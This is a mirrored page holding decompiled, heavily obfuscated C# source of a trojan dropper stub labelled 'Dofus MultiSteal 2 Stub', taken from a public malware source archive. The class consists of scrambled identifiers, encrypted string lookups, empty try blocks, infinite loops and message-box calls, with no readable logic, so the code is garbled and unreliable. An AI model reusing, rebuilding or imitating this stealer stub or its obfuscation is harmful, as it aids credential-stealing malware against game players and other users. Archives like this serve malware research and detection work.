mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
122 lines
4.4 KiB
C#
122 lines
4.4 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: 뺿㇞姦䢮ᆯ♠䣪
|
|||
|
// Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: F8CCC811-F0AE-43F4-8180-670E2BBAD259
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auww-b56915160d2d8d725e2d54a5b16a636ea854d31f8fa85a3d1e207112b177ddb1.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using System;
|
|||
|
|
|||
|
public class \uECB2뺿\u31DE姦䢮ᆯ\u2660䣪
|
|||
|
{
|
|||
|
public void Շ\u26EE鎉뚠ټ匳\uEDD9凒()
|
|||
|
{
|
|||
|
string str1 = (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(2017825902U);
|
|||
|
int num = (int) 洵ᛈ髵\uE240덖ဵ虔憎.\uFFFD䏐ꖮ\u09A9幮䵋痱ᶬ((string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(2017826759U));
|
|||
|
string str2 = (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(2017826799U);
|
|||
|
while (true)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex);
|
|||
|
䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(176887L);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private object 雮䍜窯䪳쓞\uFFFDꕄ誐()
|
|||
|
{
|
|||
|
bool flag = false;
|
|||
|
flag = false;
|
|||
|
return (object) 9926;
|
|||
|
}
|
|||
|
|
|||
|
private object 닚茹鳋\uFFFD鋤\u2F4F\uFFFD㗏()
|
|||
|
{
|
|||
|
Decimal num = 0M;
|
|||
|
ref Decimal local = ref num;
|
|||
|
num = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(61L);
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
|
|||
|
public object 믗絅ࣳ놋\u32D2\uFFFD픹ꌟ()
|
|||
|
{
|
|||
|
string str1 = (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1845803696U);
|
|||
|
long num1 = 579;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex1);
|
|||
|
num1 = 6L;
|
|||
|
string str2 = (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1845803687U);
|
|||
|
int num2 = 13944;
|
|||
|
do
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex2);
|
|||
|
Decimal num3 = 0M;
|
|||
|
ref Decimal local = ref num3;
|
|||
|
int num4 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1845803666U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
int num5 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1845803659U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
checked { ++num2; }
|
|||
|
}
|
|||
|
while (num2 <= 6097627);
|
|||
|
int num6 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(1845803946U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
return (object) 1;
|
|||
|
}
|
|||
|
|
|||
|
public object 艸荄쵀\u2012봯垛\uED8B浺()
|
|||
|
{
|
|||
|
Decimal num1 = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(3L);
|
|||
|
bool flag = false;
|
|||
|
long num2 = 60049;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(76L);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex1);
|
|||
|
num1 = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(5L);
|
|||
|
flag = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex2);
|
|||
|
num2 = 0L;
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num2 = 2L;
|
|||
|
num2 = 61L;
|
|||
|
num2 = 61L;
|
|||
|
flag = true;
|
|||
|
num2 = 83L;
|
|||
|
string str = (string) \u003CModule\u003E.\u0615\uFFFD\uFFFD\uFFFDh\u0027\uFFFD\uFFFD\u007E\u001Ann\uFFFD\uFFFD\uFFFD(3755986827U);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|